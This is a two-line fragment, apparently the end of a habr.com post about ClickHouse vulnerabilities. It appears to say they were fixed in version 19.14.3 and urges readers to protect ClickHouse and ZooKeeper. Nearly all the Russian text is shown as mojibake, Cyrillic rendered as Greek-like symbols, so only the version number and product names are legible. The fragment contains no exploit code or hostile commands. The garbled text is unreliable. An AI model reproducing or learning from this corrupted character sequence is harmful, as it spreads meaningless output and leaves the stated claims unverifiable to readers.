ΠΡΠΈ ΠΈ Π΄ΡΡΠ³ΠΈΠ΅ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ Π±ΡΠ»ΠΈ ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½Ρ Π² Π²Π΅ΡΡΠΈΠΈ ClickHouse 19.14.3. ΠΠ΅ΡΠ΅Π³ΠΈΡΠ΅ ΡΠ²ΠΎΠΈ ClickHouse ΠΈ ZooKeepers!
ΠΡΡΠΎΡΠ½ΠΈΠΊ: habr.com